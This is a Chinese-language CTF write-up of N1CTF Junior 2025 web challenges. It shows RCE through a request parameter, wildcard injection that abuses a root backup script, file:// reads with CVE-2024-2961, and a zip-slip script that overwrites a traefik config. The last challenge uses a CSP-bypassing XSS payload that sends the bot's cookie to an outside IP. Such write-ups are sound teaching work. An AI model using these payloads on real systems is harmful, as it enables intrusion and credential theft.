前言
比隔壁好打(
我要是大一就好了
参考:
https://fupanc-w1n.github.io/p/
https://j1rry-learn.github.io/posts/2025-n1ctf-junior-web-%E6%96%B9%E5%90%91%E5%85%A8%E8%A7%A3
backup
ctrl+u找到hint:
//# sourceURL=pen.js
//$cmd = $_REQUEST["__2025.happy.new.year"];
传参_[2025.happy.new.year
然后就能 rce
先读一下 index.php
<?php
// 真的这么简单吗
// highlight_file(__FILE__);
$cmd = $_REQUEST["__2025.happy.new.year"];
system($cmd);
?>
backup/keep.txt 和 primary/keep.txt 均为空
接下来要提权,总之先蚁剑以 cmdlinux 连上去,注意到 primary 文件夹有写权限
进程
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:34 ? 00:00:00 /bin/sh -c /start.sh
root 7 1 0 13:34 ? 00:00:00 /bin/bash /start.sh
root 13 7 0 13:34 ? 00:00:00 /bin/bash /backup.sh
root 22 1 0 13:34 ? 00:00:00 /usr/sbin/apache2 -k start
root 23 7 0 13:34 ? 00:00:00 sleep infinity
www-data 24 22 0 13:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 27 22 0 13:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 129 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 134 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 135 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 136 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 137 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 143 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 147 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 149 22 0 13:42 ? 00:00:00 /usr/sbin/apache2 -k start
root 1357 13 0 14:18 ? 00:00:00 sleep 15s
/backup.sh
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s
done
这里每15秒会把 primary 下的所有文件复制到 backup
cp -P
会直接复制整个软链接而不是软链接指向的内容
尝试在文件名处进行通配符在野注入,参考:https://www.cnblogs.com/linuxsec/articles/10701392.html
把-L
选项注入进去实现复制软链接指向的内容
echo "">'-L'
ln -s /flag flag
等待15s后 backup 下出现flag
Gavatar
白名单文件上传
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
或者任意url
elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}
试一下 file:///etc/passwd
那么接下来要rce
测了下发现出网,那尝试写个马
获取user_id,file:///var/www/db/db.json
读取db.json
{
"users": [
{
"id": "befc3c75-5af3-4715-9450-ac69879ddd42",
"username": "1",
"password": "$2y$10$M47\/Bxtr4jlUgyEPCaYWMeOP5UdHyRVJaXySpwHr6el48U6BmsXCm"
}
]
}
文件上传的路径有了,接下来的问题是控制后缀,这里是php8,phar寄了
考虑打CVE-2024-2961,file:///proc/self/maps
取 maps,file:///usr/lib/x86_64-linux-gnu/libc.so.6
取 libc.so.6
然后跑脚本打payload
traefik
package main
import (
"archive/zip"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
const uploadDir = "./uploads"
func unzipSimpleFile(file *zip.File, filePath string) error {
outFile, err := os.Create(filePath)
if err != nil {
return err
}
defer outFile.Close()
fileInArchive, err := file.Open()
if err != nil {
return err
}
defer fileInArchive.Close()
_, err = io.Copy(outFile, fileInArchive)
if err != nil {
return err
}
return nil
}
func unzipFile(zipPath, destDir string) error {
zipReader, err := zip.OpenReader(zipPath)
if err != nil {
return err
}
defer zipReader.Close()
for _, file := range zipReader.File {
filePath := filepath.Join(destDir, file.Name)
if file.FileInfo().IsDir() {
if err := os.MkdirAll(filePath, file.Mode()); err != nil {
return err
}
} else {
err = unzipSimpleFile(file, filePath)
if err != nil {
return err
}
}
}
return nil
}
func randFileName() string {
return uuid.New().String()
}
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.GET("/flag", func(c *gin.Context) {
xForwardedFor := c.GetHeader("X-Forwarded-For")
if !strings.Contains(xForwardedFor, "127.0.0.1") {
c.JSON(400, gin.H{"error": "only localhost can get flag"})
return
}
flag := os.Getenv("FLAG")
if flag == "" {
flag = "flag{testflag}"
}
c.String(http.StatusOK, flag)
})
r.GET("/public/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
r.POST("/public/upload", func(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(400, gin.H{"error": "File upload failed"})
return
}
randomFolder := randFileName()
destDir := filepath.Join(uploadDir, randomFolder)
if err := os.MkdirAll(destDir, 0755); err != nil {
c.JSON(500, gin.H{"error": "Failed to create directory"})
return
}
zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
return
}
if err := unzipFile(zipFilePath, destDir); err != nil {
c.JSON(500, gin.H{"error": "Failed to unzip file"})
return
}
c.JSON(200, gin.H{
"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
})
})
r.Run(":8080")
}
功能点就一个文件上传解压
https://github.com/jphetphoumy/traefik-CVE-2024-45410-poc
https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv
traefik v3.2.3 版本对不上
dynamic.yml
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
猜测还是要从文件上传入手,利用 zipslip 实现目录穿越文件覆盖,参考:https://saucer-man.com/information_security/364.html
ai 改一个 dynamic.yml,添加 /flag 路由,并且使用中间件处理发送 xff 请求头
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-header
middlewares:
add-header:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
生成压缩包
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'dynamic.yml'
#destination path of the file
zf.write(fname, '../../../../../app/.config/dynamic.yml')
上传,此时的 dynamic.yml 就是我们构造的配置文件了
直接访问 /flag 即可
EasyDB(Unsolved)
代码逻辑十分简单,就一个登录登出,账密 admin:admin
然后就是 jdbc
不会
display(复现)
用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
/ 路由下直接 get 传参 text,内容是 base64 的 payload
flag 在 bot 的 cookie
短短一行限制:const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
然后这里专门给了404回显
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面
那么 xss 的点应该和 sekaictf targetless 差不多,但是打payload下去没动静
先看下代码
输入这里有 DOMPurify 限制
innerHTML 与 innerText 的差异
搜索到文章:https://xz.aliyun.com/news/6017
但是文章的版本是 2.0.0,而我们的是 3.2.3,注意到文章中提到的滥用 mXSS 绕过 DOMPurify,关于innerHTML
会修复不完整的 html
在 index.js 有类似的操作:
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区
测试一下这两个方法的区别:
<div id="example">
<p>Hello <strong>World</strong></p>
</div>
<script>
var content = document.getElementById("example");
console.log(content.innerHTML);
console.log(content.innerText);
</script>
输出
<p>Hello <strong>World</strong></p>
Hello World
然后我们把<strong>
标签进行 html 编码再测试:
<div id="example">
<p>Hello <strong>World</strong></p>
</div>
<script>
var content = document.getElementById("example");
console.log(content.innerHTML);
console.log(content.innerText);
</script>
输出
<p>Hello <strong>World</p>
Hello <strong>World
对比一下可以看出:
- innerHTML 用于获取或设置元素的 HTML 内容,包括所有的 HTML 标签
- innerText 会解析HTML标签为文本,如果有HTML编码内容,那么就会将其解码一次
那么回到题目,同理我们将 sanitizedText 的内容HTML编码一下,然后textInput.innerText
会将其HTML解码一次。并将其赋值给了内容显示,这样我们就可以在前端显示一个HTML标签出来
这里在预览时就在前端渲染成了一个标签,但是不会解析
这是因为内容是动态放置在 <div>
内的,并且由于使用了 innerHTML,因此脚本没有执行
iframe 重新解析标签
然后考虑 hint:用 iframe 嵌入子页面可以重新唤起 DOM 解析器解析 script 标签
关于 iframe 的利用:https://blog.huli.tw/2022/04/07/iframe-and-window-open/
直接拿 src 属性套 javascript 协议试一下,或者 srcdoc 测一下
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<h1>hello</h1><script>alert(1)</script>"></iframe>
能解析,但是被 csp 拦下来了
404绕过CSP
script-src 设置为了 self,那就是 sekaictf targetless 同款打法
本地引用,前面闭合成多行注释符,后面直接的那行注释掉,留一个完整的js代码
使用 iframe 来引入这个界面
<iframe srcdoc="<script src='/**/alert(1)//'></script>"></iframe>
然后 fetch 带外即可,注意这里由于双引号单引号都用了,url这里用反引号括起来
<iframe srcdoc="<script src='/**/fetch(`http://10.39.138.223:666/`+document.cookie);//'></script>"></iframe>
bp抓包传参